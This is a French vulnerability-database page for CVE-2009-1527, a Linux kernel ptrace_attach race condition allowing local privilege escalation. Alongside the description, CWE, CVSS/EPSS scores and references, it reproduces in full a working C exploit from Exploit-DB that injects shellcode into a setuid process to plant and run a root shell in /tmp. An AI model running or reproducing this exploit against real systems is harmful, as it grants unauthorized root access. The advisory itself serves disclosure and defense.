CVE-2009-1527 : Détail

CVE-2009-1527

0.05%V3
Local
2009-05-05
18h00 +00:00
2018-10-10
16h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Race condition in the ptrace_attach function in kernel/ptrace.c in the Linux kernel before 2.6.30-rc4 allows local users to gain privileges via a PTRACE_ATTACH ptrace call during an exec system call that is launching a setuid application, related to locking an incorrect cred_exec_mutex object.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 8673

Date de publication : 2009-05-12 22h00 +00:00
Auteur : s0m3b0dy
EDB Vérifié : Yes

/* ptrace_attach privilege escalation exploit by s0m3b0dy [*] tested on Gentoo 2.6.29rc1 grataz: Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo... email: s0m3b0dy1 (at) gmail.com */ #include <grp.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <paths.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/param.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/socket.h> char shellcode[] = "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99" "\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff" "echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;"; struct user_regs_struct322 { unsigned long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es; unsigned short fs, __fs, gs, __gs; unsigned long orig_eax, eip; unsigned short cs, __cs; unsigned long eflags, esp; unsigned short ss, __ss; }; main() { struct user_regs_struct322 regs; struct stat buf; int i,o; unsigned long * src; unsigned long * dst; char *env[2]; env[0]="/usr/bin/gpasswd"; // some suid file env[1]=0; if((o=fork()) == 0) { execve(env[0],env,0); exit(0); } if(ptrace(PTRACE_ATTACH,o,0,0)==-1) { printf("\n[-] Attach\n"); exit(0); } wait((int *)0); if (ptrace(PTRACE_GETREGS, o, NULL, &regs) == -1){ printf("\n[-] read registers\n"); exit(0); } printf( "[+] EIP - 0x%08lx\n", regs.eip); dst= (unsigned long *) regs.eip; src = (unsigned long *) shellcode; for(i=0;i<sizeof(shellcode) -1;i+=4) if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){ printf("\n[-] write shellcode\n"); exit(0); } ptrace(PTRACE_CONT, o, 0, 0); ptrace(PTRACE_DETACH,o,0,0); printf("[+] Waiting for root...\n"); sleep(2); if(!stat("/tmp/.exp",&buf)) { printf("[+] Executing suid shell /tmp/.exp...\n"); execv("/tmp/.exp",0); } else { printf("[-] Damn no r00t here :(\n"); } return 0; } // milw0rm.com [2009-05-13]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.29

Linux>>Linux_kernel >> Version 2.6.30

Linux>>Linux_kernel >> Version 2.6.30

Linux>>Linux_kernel >> Version 2.6.30

Linux>>Linux_kernel >> Version 2.6.30

Références

http://www.osvdb.org/54188
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/35120
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2009/05/04/2
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2009/1236
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/34799
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/34977
Tags : third-party-advisory, x_refsource_SECUNIA